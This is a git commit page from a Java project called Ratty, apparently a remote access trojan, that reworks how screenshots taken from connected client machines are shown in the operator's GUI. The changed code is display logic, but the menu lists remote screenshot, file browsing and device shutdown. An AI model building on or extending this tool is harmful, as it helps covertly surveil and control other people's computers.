Browse Source

Major changes

Changed the way the screenshot gets displayed
master
Sogomn 9 years ago
parent
commit
37d81045a3
  1. 6
      Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
  2. 30
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  3. 10
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

6
Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java

@ -21,8 +21,8 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
private BufferedImage image;
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
private static final int SCREEN_WIDTH = 500;
private static final int SCREEN_HEIGHT = 500;
private static final int SCREEN_WIDTH = 800;
private static final int SCREEN_HEIGHT = 600;
public ScreenshotPacket(final BufferedImage image) {
this.image = image;
@ -107,7 +107,7 @@ public final class ScreenshotPacket extends AbstractPingPongPacket {
final Screen screen = new Screen(width, height);
screen.addListener(g -> {
g.drawImage(image, 0, 0, width, height, null);
g.drawImage(image, 0, 0, null);
});
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);

30
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -1,9 +1,11 @@
package de.sogomn.rat.server.gui;
import java.awt.Graphics2D;
import java.awt.Point;
import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import javax.swing.JFrame;
import javax.swing.JMenuItem;
@ -12,6 +14,8 @@ import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.table.DefaultTableModel;
import de.sogomn.engine.Screen;
public final class RattyGui {
private JFrame frame;
@ -22,6 +26,9 @@ public final class RattyGui {
private JPopupMenu menu;
private Screen screen;
private BufferedImage image;
private IGuiController controller;
private static final String[] HEADERS = {
@ -31,6 +38,8 @@ public final class RattyGui {
"OS",
"Version"
};
private static final int SCREEN_WIDTH = 800;
private static final int SCREEN_HEIGHT = 600;
public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot";
@ -38,7 +47,6 @@ public final class RattyGui {
public static final String FILES = "Browse files";
public static final String SHUTDOWN = "Shutdown device";
public static final String FREE = "Free client";
public static final String[] ACTION_COMMANDS = {
POPUP,
SCREENSHOT,
@ -98,6 +106,10 @@ public final class RattyGui {
controller.userInput(command);
}
private void drawImage(final Graphics2D g) {
g.drawImage(image, 0, 0, null);
}
public void addRow(final long id, final String name, final String address, final String os, final String version) {
final Object[] data = {id, name, address, os, version};
@ -118,6 +130,22 @@ public final class RattyGui {
}
}
public void showImage(final BufferedImage image) {
this.image = image;
final int width = image.getWidth();
final int height = image.getHeight();
if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height) {
screen = new Screen(width, height);
screen.addListener(this::drawImage);
screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
}
screen.show();
screen.redraw();
}
public void setController(final IGuiController controller) {
this.controller = controller;
}

10
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -1,5 +1,6 @@
package de.sogomn.rat.server.gui;
import java.awt.image.BufferedImage;
import java.util.ArrayList;
import de.sogomn.rat.ActiveClient;
@ -70,9 +71,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
final String version = information.getVersion();
gui.addRow(id, name, address, os, version);
} else if (packet instanceof ScreenshotPacket) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
final BufferedImage image = screenshot.getImage();
gui.showImage(image);
} else {
packet.execute(client);
}
packet.execute(client);
}
@Override

Loading…
Cancel
Save